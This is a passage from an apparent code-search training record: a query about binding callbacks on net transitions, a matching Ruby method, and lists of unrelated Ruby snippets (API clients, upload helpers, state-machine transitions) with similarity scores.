#{response.code}\" unless response.code == 200 || response.code == 201\n return response\n end", "def do_request_and_write_response(times)\n File.open('response_log.txt', 'a+') do |file|\n (1..times).each do |iteration|\n response = do_request_to_slowapi\n file.puts(\"response_#{iteration}: \" + response.body)\n end\n puts 'Done!'\n return true\n end\n end", "def export_with_http_info(space_id, request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TransactionService.export ...\"\n end\n # verify the required parameter 'space_id' is set\n fail ArgumentError, \"Missing the required parameter 'space_id' when calling TransactionService.export\" if space_id.nil?\n # verify the required parameter 'request' is set\n fail ArgumentError, \"Missing the required parameter 'request' when calling TransactionService.export\" if request.nil?\n # resource path\n local_var_path = \"/transaction/export\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'spaceId'] = space_id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json;charset=utf-8', 'text/csv']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json;charset=utf-8']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n \n # connection timeout\n timeout = @api_client.get_connection_timeout()\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :timeout => timeout,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionService#export\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def apivalidationmul(api)\nurl = \"http://#{$server_host}:#{$port_number}/#{api}\"\noutput=`curl -X GET -H \"Authorization: #{@user_token}\" -H \"Content-Type: application/json\" \"#{url}\"`\nresponse=JSON.parse(output)\n@data=response[\"data\"]\nputs \"==========================================\"\nputs @data\nputs \"==========================================\"\nreturn @data\nend", "def call(call_url = self.call_url, arguments = self.arguments, resending = false)\n Postage.logger.info \"Sending Request [UID: #{self.uid} URL: #{call_url}] \\n#{arguments.inspect}\\n\"\n \n self.arguments[:uid] = self.uid\n self.arguments[:plugin_version] = Postage::PLUGIN_VERSION\n \n body = { :api_key => Postage.api_key, :arguments => arguments }.to_json\n \n Timeout::timeout(5) do\n self.response = self.class.post( call_url, :headers => HEADERS, :body => body )\n end\n \n Postage.logger.info \"Received Response [UID: #{self.uid}] \\n#{self.response.inspect}\\n\"\n \n resend_failed_requests unless resending\n return Postage::Response.new(self.response)\n \n rescue Timeout::Error, SocketError, Exception => e\n Postage.logger.error \"Failure [UID: #{self.uid}] \\n#{e.inspect}\"\n \n store_failed_request(e) unless resending \n return nil # no response generated\n end", "def call(bclass,method,params = {},files = nil)\n params ||={}\n params[\"api_key\"]=@account.apiKey\n params[\"api_secret\"]=@account.apiSecret\n resp=callAPI(bclass,method,params,files)\n return resp\n end", "def call(method, path, params = {}, parse_response_as_json = true, with_auth_token = true)\n\n # path must begin with slash\n uri = URI(@end_point + path)\n\n if @proxy_url\n # p_scheme, p_username, p_password, p_host, p_port = @proxy_url.gsub(/(:|\\/|@)/,' ').squeeze(' ').split§\n # net_http_arguments += [phost, p_port, p_username, p_password]\n proxy_uri = URI(@proxy_url)\n proxy_args = [proxy_uri.host, proxy_uri.port, proxy_uri.user, proxy_uri.password]\n end\n\n # Build the connection\n http = Net::HTTP.new(uri.host, uri.port, *proxy_args)\n\n if uri.scheme == 'https'\n http.use_ssl = true\n end\n\n request = case method\n when :get\n uri.query = URI.encode_www_form(params) unless params.empty?\n Net::HTTP::Get.new(uri.request_uri)\n when :post\n Net::HTTP::Post.new(uri.request_uri)\n when :delete\n Net::HTTP::Delete.new(uri.request_uri)\n when :put\n Net::HTTP::Put.new(uri.request_uri)\n else\n raise ApiError, \"Unsupported request method #{method.inspect}\"\n end\n\n request.body = params.to_json unless method == :get\n\n # Set JSON body\n request.add_field('Content-Type', 'application/json')\n\n # Add authentication header\n if with_auth_token == true && @session_token.nil? == false\n request.add_field('Authorization', 'Bearer ' + @session_token)\n end\n\n response = http.request(request)\n\n\n if parse_response_as_json == true\n json_resp = nil\n begin\n\n json_resp = JSON.parse(response.body)\n\n rescue => ex\n\n message = \"Error Parsing Bitgo's response as JSON: #{ex.inspect}\"\n\n case response.code.to_s\n when /^2\\d\\d/\n raise ApiError.new(\"#{message} Bitgo response: #{response.code} #{response.message} #{response.body}\", response)\n else\n raise ApiError.new(\"#{message} BiGo did not return a HTTP 2xx code: #{response.code} #{response.message} #{response.body}\", response)\n end\n\n end\n\n if json_resp.kind_of?(Hash) && json_resp[\"error\"].nil? == false\n raise ApiError.new(json_resp[\"error\"], response)\n end\n\n return json_resp\n else\n return response.body\n end\n end", "def upload_file(bucket_key,file_location,file_name,access_token)\n file_uploaded = File.new(file_location, 'rb')\n response = RestClient.put(\"#{API_URL}/oss/v2/buckets/#{bucket_key}/objects/#{file_name}\",\n file_uploaded,\n { Authorization: \"Bearer #{access_token}\", content_type:'application/octet-stream'})\n return response\nend", "def call_api\n @client.build_url\n @client.get\n assign_data\n end", "def put_pdf_in_request_to_xlsx_with_http_info(out_path, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PdfApi.put_pdf_in_request_to_xlsx ...\"\n end\n # verify the required parameter 'out_path' is set\n if @api_client.config.client_side_validation && out_path.nil?\n fail ArgumentError, \"Missing the required parameter 'out_path' when calling PdfApi.put_pdf_in_request_to_xlsx\"\n end\n # resource path\n local_var_path = \"/pdf/convert/xlsx\"\n\n # query parameters\n query_params = {}\n query_params[:'outPath'] = out_path\n query_params[:'insertBlankColumnAtFirst'] = opts[:'insert_blank_column_at_first'] if !opts[:'insert_blank_column_at_first'].nil?\n query_params[:'minimizeTheNumberOfWorksheets'] = opts[:'minimize_the_number_of_worksheets'] if !opts[:'minimize_the_number_of_worksheets'].nil?\n query_params[:'scaleFactor'] = opts[:'scale_factor'] if !opts[:'scale_factor'].nil?\n query_params[:'uniformWorksheets'] = opts[:'uniform_worksheets'] if !opts[:'uniform_worksheets'].nil?\n query_params[:'storage'] = opts[:'storage'] if !opts[:'storage'].nil?\n query_params[:'password'] = opts[:'password'] if !opts[:'password'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n # Fix header in file\n post_body = nil\n post_body = opts[:'file'] if !opts[:'file'].nil?\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/octet-stream'])\n\n # http body (model)\n # Fix header in file\n # post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AsposeResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PdfApi#put_pdf_in_request_to_xlsx\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def bulk_upload_events(body, opts = {}, &callback)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: EventsApi.bulk_upload_events ...\"\n end\n if @retryAfterTimestamp > Time.now.to_i\n return @latestResponse\n end\n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling EventsApi.bulk_upload_events\" if body.nil?\n # resource path\n local_var_path = \"/bulkevents\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['text/html', 'application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = ApiClient.object_to_json(body)\n auth_names = ['basic']\n if (callback.nil?)\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EventsApi#bulk_upload_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n thread = data, status_code, headers\n else\n thread = @api_client.call_api(:POST, local_var_path,\n {\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names\n }) { |data, status_code, headers|\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EventsApi#bulk_upload_events\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n yield data, status_code, headers\n }\n end\n if thread[1] == 429\n @latestResponse = thread\n @retryAfterTimestamp = Time.now.to_i + thread[3][\"Retry-After\"]\n end\n return thread\n end", "def call(url:, action: :get, **options)\n response = client.send(action, url, options[:body], 'Content-Type': 'application/json')\n\n unless response.success?\n Rails.logger.info(\"#API response fail: #{response.inspect}\")\n raise ::Errors::BadRequest\n end\n\n return JSON.parse response.body if response.status == 200\n end", "def rest_call(call,base_uri,json_payload,access_token)\n params =\n {\"Authorization\" => \"Bearer #{access_token}\",\n :content_type => 'application/json',\n :accept => 'application/json',\n :verify => false}\n case call\n when \"get\"\n response = rest_get(base_uri,params)\n when \"post\"\n response = rest_post(base_uri,json_payload,params)\n when \"patch\"\n response = rest_patch(base_uri,json_payload,params)\n end\n return response\n end", "def exec_api_call(rest_type, req, data = nil, exit_on_fail = false)\n max_retry = RETRIES\n get_hash = nil\n attempts = 0\n is_good = false\n while !is_good && attempts < max_retry\n attempts += 1\n get_hash = call_api(req, rest_type, data)\n is_good = get_hash[:status]\n unless is_good\n exit_script() if exit_on_fail\n puts \"Got Error making API call - #{req} \"\n if attempts < max_retry\n puts \"Retrying #{attempts}\"\n sleep(4 * attempts)\n end\n end\n end\n get_hash\n end", "def request(url, body)\n #res = HTTParty.post(url, body: body, headers: {'Content-Type' => 'application/soap+xml; charset=\"utf-8\"'}, :verify => false)\n res = HTTParty.post(url, body: body, headers: {'Content-Type' => 'application/soap+xml; charset=\"utf-8\"'}, :verify => false)\n p \"response is: #{res}. response body is: #{res.body} for url: #{url}\"\n content = JSON.parse(res.body)\n end", "def generate_error(args, response)\n \n puts \"Error! Check API Key and retry.\"\n puts response.body\n #File.open(\"../../../error.log\", 'a+') {|f| f.write(\"---\\n#{Time.now}\\nArgs: #{args[0]}, #{args[1]}, #{args[2]}\\n#{response.body}\\n---\\n\") }\n exit 1\n\nend", "def transaction_service_export_with_http_info(space_id, request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: TransactionService.transaction_service_export ...\"\n end\n # verify the required parameter 'space_id' is set\n fail ArgumentError, \"Missing the required parameter 'space_id' when calling TransactionService.transaction_service_export\" if space_id.nil?\n # verify the required parameter 'request' is set\n fail ArgumentError, \"Missing the required parameter 'request' when calling TransactionService.transaction_service_export\" if request.nil?\n # resource path\n local_var_path = \"/transaction/export\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'spaceId'] = space_id\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json;charset=utf-8', 'text/csv']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json;charset=utf-8']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(request)\n auth_names = []\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TransactionService#transaction_service_export\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def raw_api(method,params=nil)\n debug(6,:var=>method,:msg=>\"method\")\n debug(6,:var=>params,:msg=>\"Parameters\")\n\n checkauth\n checkversion(1,1)\n params={} if params==nil\n obj=do_request(json_obj(method,params))\n return obj['result']\n end", "def call(env)\n\trequest = Rack::Request.new(env)\n\tresponse = Rack::Response.new\n\tprocess(request, response)\n\t[response.status, response.headers, response.body]\n end", "def json_echo(input)\n\n # Validate required parameters\n if input == nil\n raise ArgumentError.new \"Required parameter 'input' cannot be nil.\"\n end\n\n # the base uri for api requests\n _query_builder = Configuration.base_uri.dup\n\n # prepare query string for API call\n _query_builder << '/'\n\n # validate and preprocess url\n _query_url = APIHelper.clean_url _query_builder\n\n # prepare headers\n _headers = {\n 'user-agent' => 'Stamplay SDK',\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Create the HttpRequest object for the call\n _http_request = @http_client.post _query_url, headers: _headers, parameters: input.to_json\n \n # Call the on_before_request callback\n @http_call_back.on_before_request(_http_request) if @http_call_back\n\n # Invoke the API call and get the response\n _response = @http_client.execute_as_string(_http_request)\n\n # Call the on_after_response callback\n @http_call_back.on_after_response(_response) if @http_call_back\n\n # Endpoint error handling using HTTP status codes.\n if _response.status_code == 404\n return nil\n end\n\n # Global error handling using HTTP status codes.\n validate_response(_response)\n\n # Return appropriate response type\n decoded = APIHelper.json_deserialize(_response.raw_body) if not (_response.raw_body.nil? or _response.raw_body.to_s.strip.empty?)\n return decoded\n end", "def _make_api_call(json_params=nil)\n\n puts \"Crossbar::HTTP - Request: POST #{url}\" if self.verbose\n\n encoded_params = nil\n if json_params != nil\n if self.pre_serialize != nil and self.pre_serialize.is_a? Proc\n json_params = self._parse_params json_params\n end\n encoded_params = JSON.generate(json_params)\n end\n\n puts \"Crossbar::HTTP - Params: #{encoded_params}\" if encoded_params != nil and self.verbose\n\n uri = URI(self.url)\n\n if self.key != nil and self.secret != nil and encoded_params != nil\n signature, nonce, timestamp = self._compute_signature(encoded_params)\n params = {\n timestamp: timestamp,\n seq: self.sequence.to_s,\n nonce: nonce,\n signature: signature,\n key: self.key\n }\n uri.query = URI.encode_www_form(params)\n\n puts \"Crossbar::HTTP - Signature Params: #{params}\" if self.verbose\n end\n\n # TODO: Not sure what this is supposed to be but this works\n self.sequence += 1\n\n self._api_call uri, encoded_params\n end", "def upload(file)\n raise \"File does not exist\" unless File.exist?(file)\n\n #result = `curl --basic -u #{@auth[:username]}:#{@auth[:password]} -F file=@#{file} -F description=\"testing the API\" -F tags=\"api\" http://www.pcapr.net/api/upload`\n result = @res[\"/upload\"].post, { :file => File.read(file), :description => \"Testing the API\", :tags => \"api\" }\n return nil if result.nil?\n return result.to_json\n rescue\n puts $!\n return {:okay => false}.to_json\n end", "def process_response\n LOGGER.debug \"WORLDCAT DISCOVERY - Response from target: #{@response_status}\"\n #LOGGER.debug \"WORLDCAT DISCOVERY - Headers: #{@response_headers.collect{ |k,v| \"#{k} = #{v}\" }.join(', ')}\"\n #LOGGER.debug \"WORLDCAT DISCOVERY - Body: uncomment line!\"\n LOGGER.debug @response_body\n \n @response_body\n end", "def request(method, path, options, temp_api_endpoint=nil)\n response = connection(temp_api_endpoint).send(method) do |request|\n convert_hash_filter_params!(options)\n case method.to_sym\n when :get, :delete\n request.url(path, options)\n when :post, :put\n request.path = path\n request.body = options unless options.empty?\n end\n end\n\n response = Response.new(response)\n\n if response.failed?\n raise Error.new(response.error_code, response.error_message)\n else\n response\n end\n end", "def uploadFile(fileName)\n\n puts \"Uploading '#{fileName}' to TestFlight ... \"\n\n currentTime = Time.new\n \n payload = {\n :api_token => API_TOKEN,\n :team_token => TEAM_TOKEN,\n :file => File.new(fileName.to_s, 'rb'),\n :notes => NOTES + \" (\"+currentTime.inspect+\")\",\n :distribution_lists => DIST_LIST,\n :notify => NOTIFY\n }\n \n begin\n response = RestClient.post(END_POINT, payload, :accept => :json)\n rescue => e\n response = e.response\n end\n \n if (response.code == 201) || (response.code == 200)\n puts \"Upload complete.\"\n else\n puts \"Upload failed. (#{response})\"\n end\n \nend", "def send_response(api_response, errors)\n api_response = create_response(api_response, errors)\n\n respond_to do |format|\n @logger.info \"#{Time.now} INFO ### #{request.path} ###\"\n if errors.length > 0\n @logger.info \"#{Time.now} EXCEPTION is: #{errors}\"\n end\n if request.host == 'localhost'\n @logger.info \"#{Time.now} response:#{api_response}\"\n end\n #TODO: Disable it later, enabled for now only\n if Rails.env == \"production\"\n @logger.info \"#{Time.now} INFO ### #{api_response} ###\"\n end\n format.html {\n \n }\n format.json { \n render :json => api_response.to_json, :callback => params[:callback], :content_type => \"text/html\"\n }\n format.js {\n \n }\n format.xml { \n @logger.info \"#{Time.now} #{api_response}\"\n render :xml => api_response\n }\n end\n end", "def make_call(endpoint, is_post = false)\n # Before anything.. is it a POST request?\n postdata = Hash.new\n\n # It's a HTTP POST request.\n if is_post && endpoint.include?('?') then\n endpoint, postdata = endpoint.split('?')\n postdata = CGI::parse(postdata)\n end\n\n # Let's compile the API URL we're calling.\n url = PUTIO_BASE_URL + endpoint\n url += url.include?(\"?\") ? \"&\" : \"?\"\n url += \"oauth_token=%s\" % [@access_token]\n\n # And call it. POST or GET ;)\n if is_post then\n response = Curl.post(url, postdata) { |req| req.headers['Accept'] = 'application/json' }\n else\n response = Curl.get(url) { |req| req.headers['Accept'] = 'application/json' }\n end\n\n # Natively parse the JSON\n response = JSON::parse(response.body_str)\n\n # And use Hashie to present it.\n response = Hashie::Mash.new(response)\n end", "def convert_document_csv_to_xlsx_with_http_info(input_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConvertDocumentApi.convert_document_csv_to_xlsx ...'\n end\n # verify the required parameter 'input_file' is set\n if @api_client.config.client_side_validation && input_file.nil?\n fail ArgumentError, \"Missing the required parameter 'input_file' when calling ConvertDocumentApi.convert_document_csv_to_xlsx\"\n end\n # resource path\n local_var_path = '/convert/csv/to/xlsx'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = input_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConvertDocumentApi#convert_document_csv_to_xlsx\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def api_request(end_point, payload = {})\n\n request = Net::HTTP::Post.new(request_path(end_point), \n initheader = {'Content-Type' =>'application/json'})\n http = Net::HTTP.new(@base_url.host, @base_url.port)\n http.use_ssl = (@base_url.scheme == 'https')\n request.add_field('X-SWU-API-KEY', @api_key)\n request.body = payload.to_json\n\n response = http.request(request)\n case response\n when Net::HTTPNotFound\n raise \"Invalid API end point: #{end_point} (#{request_path(end_point)})\"\n when Net::HTTPSuccess\n # TODO: do something intelligent with response.body\n if @debug\n puts response.body\n end\n return response\n else\n raise \"Unknown error! #{response.code}\"\n end\n\n rescue Errno::ECONNREFUSED\n raise \"Could not connect to #{@base_url.host}!\" \n end" ]
[ "0.67598665", "0.60282916", "0.59277385", "0.5921887", "0.5681845", "0.5647022", "0.5621172", "0.5597098", "0.55349404", "0.5495097", "0.5483887", "0.5456928", "0.54420626", "0.54302967", "0.5422362", "0.54071105", "0.5402083", "0.53755784", "0.5370233", "0.5366782", "0.5358605", "0.53447974", "0.5329835", "0.5327962", "0.5327962", "0.5327962", "0.5327962", "0.53275096", "0.53176004", "0.5313201", "0.5301692", "0.52894425", "0.5285062", "0.52770865", "0.527593", "0.5274491", "0.52691406", "0.52633154", "0.52574813", "0.52551067", "0.52367157", "0.52309746", "0.52309304", "0.52305144", "0.5228141", "0.5224168", "0.522384", "0.52169806", "0.5204327", "0.5203251", "0.51947445", "0.5191645", "0.5182912", "0.5182761", "0.51722896", "0.51722187", "0.5169163", "0.516626", "0.5161649", "0.5148097", "0.51445884", "0.51426125", "0.51426095", "0.5137901", "0.51371694", "0.51340026", "0.51308554", "0.5125064", "0.5120597", "0.5120273", "0.51165426", "0.5113913", "0.5109687", "0.5107923", "0.5105247", "0.5104723", "0.50995415", "0.50968313", "0.5089081", "0.50833553", "0.50818664", "0.50814754", "0.50746626", "0.5071118", "0.50689566", "0.5068894", "0.50672007", "0.50666845", "0.5065106", "0.50619686", "0.50526154", "0.50509274", "0.50484234", "0.5048291", "0.50450915", "0.5044055", "0.5038258", "0.5038004", "0.503762", "0.50375915" ]
0.5343957
22
Binds callback on a net transition
def on(transition_identifier, &block) raise ArgumentError, 'No block given' unless block @execution_callbacks[transition_by_identifier!(transition_identifier)] = block end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_transition(*args, &block); end", "def transition(&block)\n @transition_function = block\n end", "def communicate_transition(_ = nil, _ = nil); end", "def transitions; end", "def callback(name)\n transition.send(\"do_#{name}\") || \"#{name}_#{previous}_to_#{current}\"\n end", "def communicate_transition(_ = nil, _ = nil, _ = nil)\r\n end", "def transition(&block)\n @d = block\n end", "def communicate_transition(_ = nil, _ = nil, _ = nil); end", "def callback\n\n end", "def callback\n end", "def callback\n\tend", "def on_connect(&callback)\n @connect_cb = callback\n end", "def callbacks; end", "def callbacks; end", "def on_state(state, &block)\n end", "def callback=(_arg0); end", "def transition_at; end", "def transition_at; end", "def on_connection_success &block\n @connection_success_callback = block\n end", "def call_transition_method(*args)\n unless [:logger, :command_listener].include?(agent_type)\n log do |msg|\n msg.add_record(agent_type, \"action\", \"transit\")\n msg.add_record(agent_type, \"state\", args.first)\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n end\n super\n end", "def callback_method\n run(\"on\", \"string\", \"callback\")\n end", "def on_invalid_transitions(transitions); end", "def node_change(transition)\n\t\t@board[transition[1]] = @board[@player_play[0]]\n\t\t@board[transition[0]] = Node.new\n\t\tgame_conditions\n\tend", "def connect\n succeed # Triggers all callbacks for class\n end", "def handle_callback(hook, event, *data)\n to = machine.events_map.move_to(event.event_name, event.from, *data)\n trans_event = TransitionEvent.new(event.event_name, event.from, to)\n callable = create_callable(hook)\n\n if hook.is_a?(Async)\n defer(callable, trans_event, *data)\n else\n callable.(trans_event, *data)\n end\n end", "def state_on_netgame\n @log.debug(\"Net_state: change to state state_on_netgame\")\n @network_state = :state_on_netgame\n make_state_change_ntfy(:ntfy_state_on_netgame)\n end", "def on_state_begin(state_id)\n end", "def on_transition_end(event)\n return unless @transitions\n options = @transitions[event.animationName.split('-').last]\n send options[:callback] if options &&\n options[:callback] &&\n respond_to?(options[:callback])\n @transition_callback.call if @transition_callback\n end", "def on_connected\n end", "def callback\n self.class.callback\n end", "def callback\n self.class.callback\n end", "def transition(state, next_length)\n @logger.debug(\"Transitioning\", :transition => state, :nextlen => next_length)\n @state = state\n # TODO(sissel): Assert this self.respond_to?(state)\n # TODO(sissel): Assert next_length is a number\n need(next_length)\n end", "def onNodeUp(&block)\n @onUpBlock = block\n end", "def push_to_online\n transition_to :online\n end", "def do_transition!( transition )\n state.trigger( transition.to_sym )\n self.save\n end", "def callback\n def_deferr = ::EventMachine::DefaultDeferrable.new\n proc_callback = Proc.new { |response| ::OnesnooperServer::Log.debug(\n \"[#{self.class.name}] Handled as: #{response}\"\n ) }\n\n def_deferr.callback &proc_callback\n def_deferr.errback &proc_callback\n\n def_deferr\n end", "def on_connect(&callback)\n if block_given?\n @on_connect = callback\n elsif @on_connect\n @on_connect.call\n end\n end", "def start_transition\n nil\n end", "def state_added! statemachine\n transitions_changed!\n end", "def on_open(&block)\n define_callback :connect, &block\n end", "def state_on_updateclient\n @log.debug(\"Net_state: change to state state_on_updateclient\")\n @network_state = :state_on_updateclient\n make_state_change_ntfy(:ntfy_state_onupdate)\n end", "def main_transition\r\n Graphics.transition\r\n end", "def listener; end", "def transitions(object, action, options = T.unsafe(nil)); end", "def main_transition\r\n Graphics.transition(120)\r\n end", "def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def after_state(state)\n end", "def listener=(_arg0); end", "def transitions\n raise NotImplementedError, 'Subclasses must override transitions'\n end", "def after\n each {|transition| transition.machine.write(object, :event_transition, transition)} if skip_after && success?\n super\n end", "def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end", "def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def listen_to(io, &callback); end", "def recv_callback\n @recv_callback ||= Proc.new {|message|}\n end", "def post_init\n self.dispatch_event(:on_connect, [self])\n self.send_data(SyncMessage.new($listen_port, $uuid).to_sendable)\n end", "def callback_type; end", "def on_change_hooks\n # do the low cohorts last\n Rails.logger.info(\"Network: calling all role on_network_change hooks for #{name}\")\n Role.all_cohorts_desc.each do |r|\n begin\n Rails.logger.info(\"Network: Calling #{r.name} on_network_change for #{self.name}\")\n r.on_network_change(self)\n rescue Exception => e\n Rails.logger.error \"Network #{name} attempting to change role #{r.name} failed with #{e.message}\"\n end\n end\n end", "def call_transition_method(transition, args)\n method = method(\"transit_to_#{transition}\")\n method.call(*args[0,method.arity])\n end", "def create_game_over_callable\n\t\tlambda do\n\t\t\t@window.state = @main\n\t\tend\n\tend", "def received\n end", "def interprete_callback event\n case event.utd\n when \"Ci\"\n interprete_callback_control_input event\n when \"Co\"\n interprete_callback_control_output event\n when \"Bi\"\n interprete_callback_bulk_input event\n when \"Bo\"\n interprete_callback_bulk_output event\n when \"Zi\", \"Zo\", \"Ii\", \"Io\"\n STDERR.puts \"*** Unhandled callback utd #{event.utd}\"\n else\n raise \"Unknown event type #{event.type.inspect}\"\n end\n @state = :idle\n end", "def callback_phase\n super\n end", "def on_307; on_330; end", "def trans(from, to, name)\n StateMachineChecker::Transition.new(from, to, name)\nend", "def transition\n new_state = fetch_sensor_state\n return if new_state == @state\n puts \"Transitioned from #{@state} to #{new_state}\"\n if valid_transition?(new_state)\n @state = new_state\n # Do nothing\n else\n puts \"Invalid transition!\"\n @beam_broken = 0\n # TODO: toss up the correct error light\n end\n end", "def state_on_table_game_end\n @log.debug(\"Net_state: change to state state_on_table_game_end\")\n @network_state = :state_on_table_game_end\n make_state_change_ntfy(:ntfy_state_on_table_game_end)\n end", "def callback(&blk)\n @blk=blk\n end", "def on_disconnected\n end", "def callback &block\n super\n end", "def callback &block\n super\n end", "def message_received(&callback)\n @connectivity_checker.message_received(&callback)\n end", "def transition(inst, name, state)\n self.transition_save_node = false\n\n return [404, \"No state specified\"] if state.nil?\n # FIXME: validate state\n\n Rails.logger.info(\"Crowbar transition enter: #{name} to #{state}\")\n\n pop_it = false\n node = nil\n\n with_lock \"BA-LOCK\" do\n node = Node.find_by_name(name)\n if node.nil? and (state == \"discovering\" or state == \"testing\")\n Rails.logger.debug(\"Crowbar transition: creating new node for #{name} to #{state}\")\n node = Node.create_new name\n self.transition_save_node = true\n end\n if node.nil?\n Rails.logger.error(\n \"Crowbar transition leaving: node not found nor created - #{name} to #{state}\"\n )\n return [404, \"Node not found\"]\n end\n\n if %w(hardware-installing hardware-updating update).include? state\n Rails.logger.debug(\"Crowbar transition: force run because of state #{name} to #{state}\")\n pop_it = true\n end\n\n if node.crowbar[\"state\"] != state\n Rails.logger.debug(\n \"Crowbar transition: state has changed so we need to do stuff for #{name} to #{state}\"\n )\n\n # Do not allow change to shutdown state from crowbar_upgrade\n # (we need to reboot the nodes for upgrade, but without changing the state)\n if node.crowbar[\"state\"] == \"crowbar_upgrade\" && state == \"shutdown\"\n Rails.logger.debug(\"current node state is crowbar_upgrade; ignoring change to shutdown\")\n return [200, { name: name }]\n end\n\n node.crowbar[\"crowbar\"][\"state_debug\"] = {} if node.crowbar[\"crowbar\"][\"state_debug\"].nil?\n if node.crowbar[\"crowbar\"][\"state_debug\"][state].nil?\n node.crowbar[\"crowbar\"][\"state_debug\"][state] = 1\n else\n node.crowbar[\"crowbar\"][\"state_debug\"][state] = node.crowbar[\"crowbar\"][\"state_debug\"][state] + 1\n end\n\n node.crowbar[\"state\"] = state\n node.crowbar[\"state_change_time\"] = Time.new.to_s\n self.transition_save_node = true\n pop_it = true\n end\n\n node.save if transition_save_node\n end\n\n if pop_it\n #\n # If we are discovering the node and it is an admin,\n # make sure that we add the crowbar config\n #\n if state == \"discovering\" and node.admin?\n crole = RoleObject.find_role_by_name(\"crowbar-config-#{inst}\")\n db = 